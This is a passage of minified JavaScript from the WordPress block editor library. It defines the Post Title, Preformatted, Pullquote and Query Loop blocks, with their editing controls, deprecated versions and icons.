0:t.fontFamily}},Pv=[Nv],Iv={$schema:"https://schemas.wp.org/trunk/block.json",apiVersion:2,name:"core/post-title",title:"Post Title",category:"theme",description:"Displays the title of a post, page, or any other content-type.",textdomain:"default",usesContext:["postId","postType","queryId"],attributes:{textAlign:{type:"string"},level:{type:"number",default:2},isLink:{type:"boolean",default:!1},rel:{type:"string",attribute:"rel",default:""},linkTarget:{type:"string",default:"_self"}},supports:{align:["wide","full"],html:!1,color:{gradients:!0,link:!0,__experimentalDefaultControls:{background:!0,text:!0,link:!0}},spacing:{margin:!0,padding:!0},typography:{fontSize:!0,lineHeight:!0,__experimentalFontFamily:!0,__experimentalFontWeight:!0,__experimentalFontStyle:!0,__experimentalTextTransform:!0,__experimentalTextDecoration:!0,__experimentalLetterSpacing:!0,__experimentalDefaultControls:{fontSize:!0,fontAppearance:!0,textTransform:!0}}},style:"wp-block-post-title"},{name:zv}=Iv,Mv={icon:lr,edit:function(e){let{attributes:{level:t,textAlign:n,isLink:o,rel:a,linkTarget:r},setAttributes:l,context:{postType:i,postId:s,queryId:c}}=e;const u=0===t?"p":"h"+t,m=Number.isFinite(c),d=Ch("postType",i,s),[p="",g,h]=(0,lt.useEntityProp)("postType",i,"title",s),[v]=(0,lt.useEntityProp)("postType",i,"link",s),b=(0,Ze.useBlockProps)({className:at()({[`has-text-align-${n}`]:n})});let _=(0,$e.createElement)(u,b,(0,je.__)("Post Title"));return i&&s&&(_=d&&!m?(0,$e.createElement)(Ze.PlainText,nt({tagName:u,placeholder:(0,je.__)("No Title"),value:p,onChange:g,__experimentalVersion:2},b)):(0,$e.createElement)(u,nt({},b,{dangerouslySetInnerHTML:{__html:null==h?void 0:h.rendered}}))),o&&i&&s&&(_=d&&!m?(0,$e.createElement)(u,b,(0,$e.createElement)(Ze.PlainText,{tagName:"a",href:v,target:r,rel:a,placeholder:p.length?null:(0,je.__)("No Title"),value:p,onChange:g,__experimentalVersion:2})):(0,$e.createElement)(u,b,(0,$e.createElement)("a",{href:v,target:r,rel:a,onClick:e=>e.preventDefault(),dangerouslySetInnerHTML:{__html:null==h?void 0:h.rendered}}))),(0,$e.createElement)($e.Fragment,null,(0,$e.createElement)(Ze.BlockControls,{group:"block"},(0,$e.createElement)(ur,{selectedLevel:t,onChange:e=>l({level:e})}),(0,$e.createElement)(Ze.AlignmentControl,{value:n,onChange:e=>{l({textAlign:e})}})),(0,$e.createElement)(Ze.InspectorControls,null,(0,$e.createElement)(We.PanelBody,{title:(0,je.__)("Link settings")},(0,$e.createElement)(We.ToggleControl,{label:(0,je.__)("Make title a link"),onChange:()=>l({isLink:!o}),checked:o}),o&&(0,$e.createElement)($e.Fragment,null,(0,$e.createElement)(We.ToggleControl,{label:(0,je.__)("Open in new tab"),onChange:e=>l({linkTarget:e?"_blank":"_self"}),checked:"_blank"===r}),(0,$e.createElement)(We.TextControl,{label:(0,je.__)("Link rel"),value:a,onChange:e=>l({rel:e})})))),_)},deprecated:Pv},Lv=()=>qe({name:zv,metadata:Iv,settings:Mv}),Rv=(0,$e.createElement)(Ue.SVG,{viewBox:"0 0 24 24",xmlns:"http://www.w3.org/2000/svg"},(0,$e.createElement)(Ue.Path,{d:"M18 4H6c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2zm.5 14c0 .3-.2.5-.5.5H6c-.3 0-.5-.2-.5-.5V6c0-.3.2-.5.5-.5h12c.3 0 .5.2.5.5v12zM7 16.5h6V15H7v1.5zm4-4h6V11h-6v1.5zM9 11H7v1.5h2V11zm6 5.5h2V15h-2v1.5z"})),Av={from:[{type:"block",blocks:["core/code","core/paragraph"],transform:e=>{let{content:t,anchor:n}=e;return(0,Ge.createBlock)("core/preformatted",{content:t,anchor:n})}},{type:"raw",isMatch:e=>"PRE"===e.nodeName&&!(1===e.children.length&&"CODE"===e.firstChild.nodeName),schema:e=>{let{phrasingContentSchema:t}=e;return{pre:{children:t}}}}],to:[{type:"block",blocks:["core/paragraph"],transform:e=>(0,Ge.createBlock)("core/paragraph",e)},{type:"block",blocks:["core/code"],transform:e=>(0,Ge.createBlock)("core/code",e)}]},Vv=Av,Hv={$schema:"https://schemas.wp.org/trunk/block.json",apiVersion:2,name:"core/preformatted",title:"Preformatted",category:"text",description:"Add text that respects your spacing and tabs, and also allows styling.",textdomain:"default",attributes:{content:{type:"string",source:"html",selector:"pre",default:"",__unstablePreserveWhiteSpace:!0,__experimentalRole:"content"}},supports:{anchor:!0,color:{gradients:!0,__experimentalDefaultControls:{background:!0,text:!0}},typography:{fontSize:!0,lineHeight:!0,__experimentalFontFamily:!0,__experimentalFontWeight:!0,__experimentalFontStyle:!0,__experimentalTextTransform:!0,__experimentalTextDecoration:!0,__experimentalLetterSpacing:!0,__experimentalDefaultControls:{fontSize:!0}}},style:"wp-block-preformatted"},{name:Dv}=Hv,Fv={icon:Rv,example:{attributes:{
// translators: Sample content for the Preformatted block. Can be replaced with a more locale-adequate work.
content:(0,je.__)("EXT. XANADU - FAINT DAWN - 1940 (MINIATURE)\nWindow, very small in the distance, illuminated.\nAll around this is an almost totally black screen. Now, as the camera moves slowly towards the window which is almost a postage stamp in the frame, other forms appear;")}},transforms:Vv,edit:function(e){let{attributes:t,mergeBlocks:n,setAttributes:o,onRemove:a,style:r}=e;const{content:l}=t,i=(0,Ze.useBlockProps)({style:r});return(0,$e.createElement)(Ze.RichText,nt({tagName:"pre",identifier:"content",preserveWhiteSpace:!0,value:l,onChange:e=>{o({content:e})},onRemove:a,"aria-label":(0,je.__)("Preformatted text"),placeholder:(0,je.__)("Write preformatted text…"),onMerge:n},i,{__unstablePastePlainText:!0}))},save:function(e){let{attributes:t}=e;const{content:n}=t;return(0,$e.createElement)("pre",Ze.useBlockProps.save(),(0,$e.createElement)(Ze.RichText.Content,{value:n}))},merge:(e,t)=>({content:e.content+t.content})},Gv=()=>qe({name:Dv,metadata:Hv,settings:Fv}),$v=(0,$e.createElement)(Ue.SVG,{viewBox:"0 0 24 24",xmlns:"http://www.w3.org/2000/svg"},(0,$e.createElement)(Ue.Path,{d:"M18 8H6c-1.1 0-2 .9-2 2v4c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2v-4c0-1.1-.9-2-2-2zm.5 6c0 .3-.2.5-.5.5H6c-.3 0-.5-.2-.5-.5v-4c0-.3.2-.5.5-.5h12c.3 0 .5.2.5.5v4zM4 4v1.5h16V4H4zm0 16h16v-1.5H4V20z"})),Uv="is-style-solid-color",Ov={value:{type:"string",source:"html",selector:"blockquote",multiline:"p"},citation:{type:"string",source:"html",selector:"cite",default:""},mainColor:{type:"string"},customMainColor:{type:"string"},textColor:{type:"string"},customTextColor:{type:"string"}};function qv(e){if(!e)return;const t=e.match(/border-color:([^;]+)[;]?/);return t&&t[1]?t[1]:void 0}function Wv(e){return(0,fn.toHTMLString)({value:(0,fn.replace)((0,fn.create)({html:e,multilineTag:"p"}),new RegExp(fn.__UNSTABLE_LINE_SEPARATOR,"g"),"\n")})}const jv={attributes:{value:{type:"string",source:"html",selector:"blockquote",multiline:"p",__experimentalRole:"content"},citation:{type:"string",source:"html",selector:"cite",default:"",__experimentalRole:"content"},textAlign:{type:"string"}},save(e){let{attributes:t}=e;const{textAlign:n,citation:o,value:a}=t,r=!Ze.RichText.isEmpty(o);return(0,$e.createElement)("figure",Ze.useBlockProps.save({className:at()({[`has-text-align-${n}`]:n})}),(0,$e.createElement)("blockquote",null,(0,$e.createElement)(Ze.RichText.Content,{value:a,multiline:!0}),r&&(0,$e.createElement)(Ze.RichText.Content,{tagName:"cite",value:o})))},migrate(e){let{value:t,...n}=e;return{value:Wv(t),...n}}},Zv={attributes:{...Ov},save(e){let{attributes:t}=e;const{mainColor:n,customMainColor:o,customTextColor:a,textColor:r,value:l,citation:i,className:s}=t;let c,u;if((0,St.includes)(s,Uv)){const e=(0,Ze.getColorClassName)("background-color",n);c=at()({"has-background":e||o,[e]:e}),u={backgroundColor:e?void 0:o}}else o&&(u={borderColor:o});const m=(0,Ze.getColorClassName)("color",r),d=at()({"has-text-color":r||a,[m]:m}),p=m?void 0:{color:a};return(0,$e.createElement)("figure",Ze.useBlockProps.save({className:c,style:u}),(0,$e.createElement)("blockquote",{className:d,style:p},(0,$e.createElement)(Ze.RichText.Content,{value:l,multiline:!0}),!Ze.RichText.isEmpty(i)&&(0,$e.createElement)(Ze.RichText.Content,{tagName:"cite",value:i})))},migrate(e){let{value:t,className:n,mainColor:o,customMainColor:a,customTextColor:r,...l}=e;const i=(0,St.includes)(n,Uv);let s;return a&&(s=i?{color:{background:a}}:{border:{color:a}}),r&&s&&(s.color={...s.color,text:r}),{value:Wv(t),className:n,backgroundColor:i?o:void 0,borderColor:i?void 0:o,textAlign:i?"left":void 0,style:s,...l}}},Qv={attributes:{...Ov,figureStyle:{source:"attribute",selector:"figure",attribute:"style"}},save(e){let{attributes:t}=e;const{mainColor:n,customMainColor:o,textColor:a,customTextColor:r,value:l,citation:i,className:s,figureStyle:c}=t;let u,m;if((0,St.includes)(s,Uv)){const e=(0,Ze.getColorClassName)("background-color",n);u=at()({"has-background":e||o,[e]:e}),m={backgroundColor:e?void 0:o}}else o?m={borderColor:o}:n&&(m={borderColor:qv(c)});const d=(0,Ze.getColorClassName)("color",a),p=(a||r)&&at()("has-text-color",{[d]:d}),g=d?void 0:{color:r};return(0,$e.createElement)("figure",{className:u,style:m},(0,$e.createElement)("blockquote",{className:p,style:g},(0,$e.createElement)(Ze.RichText.Content,{value:l,multiline:!0}),!Ze.RichText.isEmpty(i)&&(0,$e.createElement)(Ze.RichText.Content,{tagName:"cite",value:i})))},migrate(e){let{value:t,className:n,figureStyle:o,mainColor:a,customMainColor:r,customTextColor:l,...i}=e;const s=(0,St.includes)(n,Uv);let c;if(r&&(c=s?{color:{background:r}}:{border:{color:r}}),l&&c&&(c.color={...c.color,text:l}),!s&&a&&o){const e=qv(o);if(e)return{value:Wv(t),...i,className:n,style:{border:{color:e}}}}return{value:Wv(t),className:n,backgroundColor:s?a:void 0,borderColor:s?void 0:a,textAlign:s?"left":void 0,style:c,...i}}},Kv={attributes:Ov,save(e){let{attributes:t}=e;const{mainColor:n,customMainColor:o,textColor:a,customTextColor:r,value:l,citation:i,className:s}=t;let c,u;if((0,St.includes)(s,Uv))c=(0,Ze.getColorClassName)("background-color",n),c||(u={backgroundColor:o});else if(o)u={borderColor:o};else if(n){const e=(0,St.get)((0,it.select)(Ze.store).getSettings(),["colors"],[]);u={borderColor:(0,Ze.getColorObjectByAttributeValues)(e,n).color}}const m=(0,Ze.getColorClassName)("color",a),d=a||r?at()("has-text-color",{[m]:m}):void 0,p=m?void 0:{color:r};return(0,$e.createElement)("figure",{className:c,style:u},(0,$e.createElement)("blockquote",{className:d,style:p},(0,$e.createElement)(Ze.RichText.Content,{value:l,multiline:!0}),!Ze.RichText.isEmpty(i)&&(0,$e.createElement)(Ze.RichText.Content,{tagName:"cite",value:i})))},migrate(e){let{value:t,className:n,mainColor:o,customMainColor:a,customTextColor:r,...l}=e;const i=(0,St.includes)(n,Uv);let s={};return a&&(s=i?{color:{background:a}}:{border:{color:a}}),r&&s&&(s.color={...s.color,text:r}),{value:Wv(t),className:n,backgroundColor:i?o:void 0,borderColor:i?void 0:o,textAlign:i?"left":void 0,style:s,...l}}},Yv={attributes:{...Ov},save(e){let{attributes:t}=e;const{value:n,citation:o}=t;return(0,$e.createElement)("blockquote",null,(0,$e.createElement)(Ze.RichText.Content,{value:n,multiline:!0}),!Ze.RichText.isEmpty(o)&&(0,$e.createElement)(Ze.RichText.Content,{tagName:"cite",value:o}))},migrate(e){let{value:t,...n}=e;return{value:Wv(t),...n}}},Jv={attributes:{...Ov,citation:{type:"string",source:"html",selector:"footer"},align:{type:"string",default:"none"}},save(e){let{attributes:t}=e;const{value:n,citation:o,align:a}=t;return(0,$e.createElement)("blockquote",{className:`align${a}`},(0,$e.createElement)(Ze.RichText.Content,{value:n,multiline:!0}),!Ze.RichText.isEmpty(o)&&(0,$e.createElement)(Ze.RichText.Content,{tagName:"footer",value:o}))},migrate(e){let{value:t,...n}=e;return{value:Wv(t),...n}}},Xv=[jv,Zv,Qv,Kv,Yv,Jv],eb="web"===$e.Platform.OS,tb={from:[{type:"block",isMultiBlock:!0,blocks:["core/paragraph"],transform:e=>(0,Ge.createBlock)("core/pullquote",{value:(0,fn.toHTMLString)({value:(0,fn.join)(e.map((e=>{let{content:t}=e;return(0,fn.create)({html:t})})),"\n")}),anchor:e.anchor})},{type:"block",blocks:["core/heading"],transform:e=>{let{content:t,anchor:n}=e;return(0,Ge.createBlock)("core/pullquote",{value:t,anchor:n})}}],to:[{type:"block",blocks:["core/paragraph"],transform:e=>{let{value:t,citation:n}=e;const o=[];return t&&o.push((0,Ge.createBlock)("core/paragraph",{content:t})),n&&o.push((0,Ge.createBlock)("core/paragraph",{content:n})),0===o.length?(0,Ge.createBlock)("core/paragraph",{content:""}):o}},{type:"block",blocks:["core/heading"],transform:e=>{let{value:t,citation:n}=e;if(!t)return(0,Ge.createBlock)("core/heading",{content:n});const o=(0,Ge.createBlock)("core/heading",{content:t});return n?[o,(0,Ge.createBlock)("core/heading",{content:n})]:o}}]},nb=tb,ob={$schema:"https://schemas.wp.org/trunk/block.json",apiVersion:2,name:"core/pullquote",title:"Pullquote",category:"text",description:"Give special visual emphasis to a quote from your text.",textdomain:"default",attributes:{value:{type:"string",source:"html",selector:"p",__experimentalRole:"content"},citation:{type:"string",source:"html",selector:"cite",default:"",__experimentalRole:"content"},textAlign:{type:"string"}},supports:{anchor:!0,align:["left","right","wide","full"],color:{gradients:!0,background:!0,link:!0,__experimentalDefaultControls:{background:!0,text:!0}},typography:{fontSize:!0,lineHeight:!0,__experimentalFontFamily:!0,__experimentalFontWeight:!0,__experimentalFontStyle:!0,__experimentalTextTransform:!0,__experimentalTextDecoration:!0,__experimentalLetterSpacing:!0,__experimentalDefaultControls:{fontSize:!0,fontAppearance:!0}},__experimentalBorder:{color:!0,radius:!0,style:!0,width:!0,__experimentalDefaultControls:{color:!0,radius:!0,style:!0,width:!0}},__experimentalStyle:{typography:{fontSize:"1.5em",lineHeight:"1.6"}}},editorStyle:"wp-block-pullquote-editor",style:"wp-block-pullquote"},{name:ab}=ob,rb={icon:$v,example:{attributes:{value:// translators: Quote serving as example for the Pullquote block. Attributed to Matt Mullenweg.
(0,je.__)("One of the hardest things to do in technology is disrupt yourself."),citation:(0,je.__)("Matt Mullenweg")}},transforms:nb,edit:function(e){let{attributes:t,setAttributes:n,isSelected:o,insertBlocksAfter:a}=e;const{textAlign:r,citation:l,value:i}=t,s=(0,Ze.useBlockProps)({className:at()({[`has-text-align-${r}`]:r})}),c=!Ze.RichText.isEmpty(l)||o;return(0,$e.createElement)($e.Fragment,null,(0,$e.createElement)(Ze.BlockControls,{group:"block"},(0,$e.createElement)(Ze.AlignmentControl,{value:r,onChange:e=>{n({textAlign:e})}})),(0,$e.createElement)("figure",s,(0,$e.createElement)("blockquote",null,(0,$e.createElement)(Ze.RichText,{identifier:"value",tagName:"p",value:i,onChange:e=>n({value:e}),"aria-label":(0,je.__)("Pullquote text"),placeholder:// translators: placeholder text used for the quote
(0,je.__)("Add quote"),textAlign:"center"}),c&&(0,$e.createElement)(Ze.RichText,{identifier:"citation",tagName:eb?"cite":void 0,style:{display:"block"},value:l,"aria-label":(0,je.__)("Pullquote citation text"),placeholder:// translators: placeholder text used for the citation
(0,je.__)("Add citation"),onChange:e=>n({citation:e}),className:"wp-block-pullquote__citation",__unstableMobileNoFocusOnMount:!0,textAlign:"center",__unstableOnSplitAtEnd:()=>a((0,Ge.createBlock)((0,Ge.getDefaultBlockName)()))}))))},save:function(e){let{attributes:t}=e;const{textAlign:n,citation:o,value:a}=t,r=!Ze.RichText.isEmpty(o);return(0,$e.createElement)("figure",Ze.useBlockProps.save({className:at()({[`has-text-align-${n}`]:n})}),(0,$e.createElement)("blockquote",null,(0,$e.createElement)(Ze.RichText.Content,{tagName:"p",value:a}),r&&(0,$e.createElement)(Ze.RichText.Content,{tagName:"cite",value:o})))},deprecated:Xv},lb=()=>qe({name:ab,metadata:ob,settings:rb}),ib=(0,$e.createElement)(Ue.SVG,{viewBox:"0 0 24 24",xmlns:"http://www.w3.org/2000/svg"},(0,$e.createElement)(Ue.Path,{d:"M18.1823 11.6392C18.1823 13.0804 17.0139 14.2487 15.5727 14.2487C14.3579 14.2487 13.335 13.4179 13.0453 12.2922L13.0377 12.2625L13.0278 12.2335L12.3985 10.377L12.3942 10.3785C11.8571 8.64997 10.246 7.39405 8.33961 7.39405C5.99509 7.39405 4.09448 9.29465 4.09448 11.6392C4.09448 13.9837 5.99509 15.8843 8.33961 15.8843C8.88499 15.8843 9.40822 15.781 9.88943 15.5923L9.29212 14.0697C8.99812 14.185 8.67729 14.2487 8.33961 14.2487C6.89838 14.2487 5.73003 13.0804 5.73003 11.6392C5.73003 10.1979 6.89838 9.02959 8.33961 9.02959C9.55444 9.02959 10.5773 9.86046 10.867 10.9862L10.8772 10.9836L11.4695 12.7311C11.9515 14.546 13.6048 15.8843 15.5727 15.8843C17.9172 15.8843 19.8178 13.9837 19.8178 11.6392C19.8178 9.29465 17.9172 7.39404 15.5727 7.39404C15.0287 7.39404 14.5066 7.4968 14.0264 7.6847L14.6223 9.20781C14.9158 9.093 15.2358 9.02959 15.5727 9.02959C17.0139 9.02959 18.1823 10.1979 18.1823 11.6392Z"})),sb=(0,$e.createElement)(Ue.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},(0,$e.createElement)(Ue.Path,{d:"M14.5 13.8c-1.1 0-2.1.7-2.4 1.8H4V17h8.1c.3 1 1.3 1.8 2.4 1.8s2.1-.7 2.4-1.8H20v-1.5h-3.1c-.3-1-1.3-1.7-2.4-1.7zM11.9 7c-.3-1-1.3-1.8-2.4-1.8S7.4 6 7.1 7H4v1.5h3.1c.3 1 1.3 1.8 2.4 1.8s2.1-.7 2.4-1.8H20V7h-8.1z"}));function cb(e){let{attributes:{query:t,displayLayout:n},setQuery:o,setDisplayLayout:a,openPatternSelectionModal:r,name:l,clientId:i}=e;const s=(0,it.useSelect)((e=>{const{getBlockRootClientId:t,__experimentalGetPatternsByBlockTypes:n}=e(Ze.store),o=t(i);return!!n(l,o).length}),[l,i]),c=(0,Wt.useInstanceId)(cb,"blocks-query-pagination-max-page-input"),u=[{icon:Su,title:(0,je.__)("List view"),onClick:()=>a({type:"list"}),isActive:"list"===(null==n?void 0:n.type)},{icon:Bu,title:(0,je.__)("Grid view"),onClick:()=>a({type:"flex",columns:(null==n?void 0:n.columns)||3}),isActive:"flex"===(null==n?void 0:n.type)}];return(0,$e.createElement)($e.Fragment,null,!t.inherit&&(0,$e.createElement)(We.ToolbarGroup,null,(0,$e.createElement)(We.Dropdown,{contentClassName:"block-library-query-toolbar__popover",renderToggle:e=>{let{onToggle:t}=e;return(0,$e.createElement)(We.ToolbarButton,{icon:sb,label:(0,je.__)("Display settings"),onClick:t})},renderContent:()=>(0,$e.createElement)($e.Fragment,null,(0,$e.createElement)(We.BaseControl,null,(0,$e.createElement)(We.__experimentalNumberControl,{__unstableInputWidth:"60px",label:(0,je.__)("Items per Page"),labelPosition:"edge",min:1,max:100,onChange:e=>{isNaN(e)||e<1||e>100||o({perPage:e})},step:"1",value:t.perPage,isDragEnabled:!1})),(0,$e.createElement)(We.BaseControl,null,(0,$e.createElement)(We.__experimentalNumberControl,{__unstableInputWidth:"60px",label:(0,je.__)("Offset"),labelPosition:"edge",min:0,max:100,onChange:e=>{isNaN(e)||e<0||e>100||o({offset:e})},step:"1",value:t.offset,isDragEnabled:!1})),(0,$e.createElement)(We.BaseControl,{id:c,help:(0,je.__)("Limit the pages you want to show, even if the query has more results. To show all pages use 0 (zero).")},(0,$e.createElement)(We.__experimentalNumberControl,{id:c,__unstableInputWidth:"60px",label:(0,je.__)("Max page to show"),labelPosition:"edge",min:0,onChange:e=>{isNaN(e)||e<0||o({pages:e})},step:"1",value:t.pages,isDragEnabled:!1})))})),s&&(0,$e.createElement)(We.ToolbarGroup,{className:"wp-block-template-part__block-control-group"},(0,$e.createElement)(We.ToolbarButton,{onClick:r},(0,je.__)("Replace"))),(0,$e.createElement)(We.ToolbarGroup,{controls:u}))}const ub=[{label:(0,je.__)("Newest to oldest"),value:"date/desc"},{label:(0,je.__)("Oldest to newest"),value:"date/asc"},{
/* translators: label for ordering posts by title in ascending order */
label:(0,je.__)("A → Z"),value:"title/asc"},{
/* translators: label for ordering posts by title in descending order */
label:(0,je.__)("Z → A"),value:"title/desc"}],mb=function(e){let{order:t,orderBy:n,onChange:o}=e;return(0,$e.createElement)(We.SelectControl,{label:(0,je.__)("Order by"),value:`${n}/${t}`,options:ub,onChange:e=>{const[t,n]=e.split("/");o({order:n,orderBy:t})}})},{name:db}={$schema:"https://schemas.wp.org/trunk/block.json",apiVersion:2,name:"core/query",title:"Query Loop",category:"theme",description:"An advanced block that allows displaying post types based on different query parameters and visual configurations.",textdomain:"default",attributes:{queryId:{type:"number"},query:{type:"object",default:{perPage:null,pages:0,offset:0,postType:"post",order:"desc",orderBy:"date",author:"",search:"",exclude:[],sticky:"",inherit:!0,taxQuery:null,parents:[]}},tagName:{type:"string",default:"div"},displayLayout:{type:"object",default:{type:"list"}},namespace:{type:"string"}},providesContext:{queryId:"queryId",query:"query",displayLayout:"displayLayout"},supports:{align:["wide","full"],html:!1,color:{gradients:!0,link:!0,__experimentalDefaultControls:{background:!0,text:!0}},__experimentalLayout:!0},editorStyle:"wp-block-query-editor"},pb=e=>{const t=null==e?void 0:e.reduce(((e,t)=>{const{mapById:n,mapByName:o,names:a}=e;return n[t.id]=t,o[t.name]=t,a.push(t.name),e}),{mapById:{},mapByName:{},names:[]});return{entities:e,...t}},gb=(e,t)=>(e||[]).map((e=>({...e,name:(0,Pd.decodeEntities)((0,St.get)(e,t))})));function hb(e,t){return!e||e.includes(t)}const vb={who:"authors",per_page:-1,_fields:"id,name",context:"view"},bb=function(e){let{value:t,onChange:n}=e;const o=(0,it.useSelect)((e=>{const{getUsers:t}=e(lt.store);return t(vb)}),[]);if(!o)return null;const a=pb(o),r=(t?t.toString().split(","):[]).reduce(((e,t)=>{const n=a.mapById[t];return n&&e.push({id:t,value:n.name}),e}),[]);return(0,$e.createElement)(We.FormTokenField,{label:(0,je.__)("Authors"),value:r,suggestions:a.names,onChange:e=>{const t=Array.from(e.reduce(((e,t)=>{const n=((e,t)=>{var n;const o=(null==t?void 0:t.id)||(null===(n=e[t])||void 0===n?void 0:n.id);if(o)return o})(a.mapByName,t);return n&&e.add(n),e}),new Set));n({author:t.join(",")})},__experimentalShowHowTo:!1})},_b=[],yb={order:"asc",_fields:"id,title",context:"view"},fb=function(e){let{parents:t,postType:n,onChange:o}=e;const[a,r]=(0,$e.useState)(""),[l,i]=(0,$e.useState)(_b),[s,c]=(0,$e.useState)(_b),u=(0,Wt.useDebounce)(r,250),{searchResults:m,searchHasResolved:d}=(0,it.useSelect)((e=>{if(!a)return{searchResults:_b,searchHasResolved:!0};const{getEntityRecords:o,hasFinishedResolution:r}=e(lt.store),l=["postType",n,{...yb,search:a,orderby:"relevance",exclude:t,per_page:20}];return{searchResults:o(...l),searchHasResolved:r("getEntityRecords",l)}}),[a,t]),p=(0,it.useSelect)((e=>{if(null==t||!t.length)return _b;const{getEntityRecords:o}=e(lt.store);return o("postType",n,{...yb,include:t,per_page:t.length})}),[t]);(0,$e.useEffect)((()=>{if(null!=t&&t.length||i(_b),null==p||!p.length)return;const e=pb(gb(p,"title.rendered")),n=t.reduce(((t,n)=>{const o=e.mapById[n];return o&&t.push({id:n,value:o.name}),t}),[]);i(n)}),[t,p]);const g=(0,$e.useMemo)((()=>null!=m&&m.length?pb(gb(m,"title.rendered")):_b),[m]);return(0,$e.useEffect)((()=>{d&&c(g.names)}),[g.names,d]),(0,$e.createElement)(We.FormTokenField,{label:(0,je.__)("Parents"),value:l,onInputChange:u,suggestions:s,onChange:e=>{const t=Array.from(e.reduce(((e,t)=>{const n=((e,t)=>{var n;const o=(null==t?void 0:t.id)||(null==e||null===(n=e[t])||void 0===n?void 0:n.id);if(o)return o})(g.mapByName,t);return n&&e.add(n),e}),new Set));c(_b),o({parents:t})},__experimentalShowHowTo:!1})},kb=e=>{const t=(e=>(0,it.useSelect)((t=>{const{getTaxonomies:n}=t(lt.store);return n({type:e,per_page:-1,context:"view"})}),[e]))(e);return(0,it.useSelect)((e=>{const{getEntityRecords:n}=e(lt.store),o={context:"view",per_page:100};return null==t?void 0:t.map((e=>{let{slug:t,name:a}=e;const r=n("taxonomy",t,o);return{slug:t,name:a,terms:pb(r)}}))}),[t])};function xb(e){let{onChange:t,query:n}=e;const o=kb(n.postType),a=e=>{var t;const a=o.find((t=>{let{slug:n}=t;return n===e}));return a?((null===(t=n.taxQuery)||void 0===t?void 0:t[e])||[]).reduce(((e,t)=>{const n=a.terms.mapById[t];return n&&e.push({id:t,value:n.name}),e}),[]):[]};return(0,$e.createElement)($e.Fragment,null,!(null==o||!o.length)&&o.map((e=>{var r;let{slug:l,name:i,terms:s}=e;return null!=s&&null!==(r=s.names)&&void 0!==r&&r.length?(0,$e.createElement)("div",{key:l,className:"block-library-query-inspector__taxonomy-control"},(0,$e.createElement)(We.FormTokenField,{label:i,value:a(l),suggestions:s.names,onChange:(c=l,e=>{const a=o.find((e=>{let{slug:t}=e;return t===c}));if(!a)return;const r=Array.from(e.reduce(((e,t)=>{const n=((e,t)=>{var n;const o=(null==t?void 0:t.id)||(null===(n=e[t])||void 0===n?void 0:n.id);if(o)return o;const a=t.toLocaleLowerCase();for(const t in e)if(t.toLocaleLowerCase()===a)return e[t].id})(a.terms.mapByName,t);return n&&e.add(n),e}),new Set)),l={...n.taxQuery,[c]:r};t({taxQuery:l})}),__experimentalShowHowTo:!1})):null;var c})))}const wb=[{label:(0,je.__)("Include"),value:""},{label:(0,je.__)("Exclude"),value:"exclude"},{label:(0,je.__)("Only"),value:"only"}];function Eb(e){let{value:t,onChange:n}=e;return(0,$e.createElement)(We.SelectControl,{label:(0,je.__)("Sticky posts"),options:wb,value:t,onChange:n,help:(0,je.__)("Blog posts can be “stickied”, a feature that places them at the top of the front page of posts, keeping it there until new sticky posts are published.")})}function Cb(e){let{attributes:t,setQuery:n,setDisplayLayout:o}=e;const{query:a,displayLayout:r}=t,{order:l,orderBy:i,author:s,postType:c,sticky:u,inherit:m,taxQuery:d,parents:p}=a,g=function(e){return(0,it.useSelect)((t=>{var n;return null===(n=t(Ge.store).getActiveBlockVariation(db,e))||void 0===n?void 0:n.allowedControls}),[e])}(t),[h,v]=(0,$e.useState)("post"===c),{postTypesTaxonomiesMap:b,postTypesSelectOptions:_}=(()=>{const e=(0,it.useSelect)((e=>{var t;const{getPostTypes:n}=e(lt.store),o=["attachment"];return null===(t=n({per_page:-1}))||void 0===t?void 0:t.filter((e=>{let{viewable:t,slug:n}=e;return t&&!o.includes(n)}))}),[]);return{postTypesTaxonomiesMap:(0,$e.useMemo)((()=>{if(null!=e&&e.length)return e.reduce(((e,t)=>(e[t.slug]=t.taxonomies,e)),{})}),[e]),postTypesSelectOptions:(0,$e.useMemo)((()=>(e||[]).map((e=>{let{labels:t,slug:n}=e;return{label:t.singular_name,value:n}}))),[e])}})(),y=kb(c),f=function(e){return(0,it.useSelect)((t=>{const n=t(lt.store).getPostType(e);return(null==n?void 0:n.viewable)&&(null==n?void 0:n.hierarchical)}),[e])}(c);(0,$e.useEffect)((()=>{v("post"===c)}),[c]);const[k,x]=(0,$e.useState)(a.search),w=(0,$e.useCallback)((0,Wt.debounce)((()=>{a.search!==k&&n({search:k})}),250),[k,a.search]);(0,$e.useEffect)((()=>(w(),w.cancel)),[k,w]);const E=hb(g,"inherit"),C=!m&&hb(g,"postType"),S="flex"===(null==r?void 0:r.type),B=!m&&hb(g,"order"),T=!m&&h&&hb(g,"sticky"),N=E||C||S||B||T;return(0,$e.createElement)($e.Fragment,null,N&&(0,$e.createElement)(Ze.InspectorControls,null,(0,$e.createElement)(We.PanelBody,{title:(0,je.__)("Settings")},E&&(0,$e.createElement)(We.ToggleControl,{label:(0,je.__)("Inherit query from template"),help:(0,je.__)("Toggle to use the global query context that is set with the current template, such as an archive or search. Disable to customize the settings independently."),checked:!!m,onChange:e=>n({inherit:!!e})}),C&&(0,$e.createElement)(We.SelectControl,{options:_,value:c,label:(0,je.__)("Post type"),onChange:e=>{const t={postType:e},o=b[e],a=Object.entries(d||{}).reduce(((e,t)=>{let[n,a]=t;return o.includes(n)&&(e[n]=a),e}),{});t.taxQuery=Object.keys(a).length?a:void 0,"post"!==e&&(t.sticky=""),t.parents=[],n(t)},help:(0,je.__)("WordPress contains different types of content and they are divided into collections called “Post types”. By default there are a few different ones such as blog posts and pages, but plugins could add more.")}),S&&(0,$e.createElement)($e.Fragment,null,(0,$e.createElement)(We.RangeControl,{label:(0,je.__)("Columns"),value:r.columns,onChange:e=>o({columns:e}),min:2,max:Math.max(6,r.columns)}),r.columns>6&&(0,$e.createElement)(We.Notice,{status:"warning",isDismissible:!1},(0,je.__)("This column count exceeds the recommended amount and may cause visual 